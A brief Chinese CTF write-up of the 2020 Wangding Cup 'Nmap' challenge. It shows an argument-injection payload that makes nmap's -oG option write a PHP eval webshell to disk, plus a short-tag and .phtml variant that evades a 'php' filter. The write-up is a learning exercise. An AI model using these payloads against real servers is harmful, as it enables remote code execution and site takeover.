[网鼎杯 2020 朱雀组]Nmap(namp写webshell)

前言

文章所涉及的资料来自互联网整理和个人总结，意在于个人学习和经验汇总，如有什么地方侵权，请联系本人删除，谢谢！本文仅用于学习与交流，不得用于非法用途！

题目

这里用到nmap写webshell的技巧，如下代码

' <?php @eval($_POST["hack"]);?> -oG hack.php '

这样就能够将一句话写到目录下，再用菜刀或者蚁剑来连，但是这题过滤了php字样，所以标签用短标签，后缀用phtml来绕过

' <?= @eval($_POST["hack"]);?> -oG hack.phtml '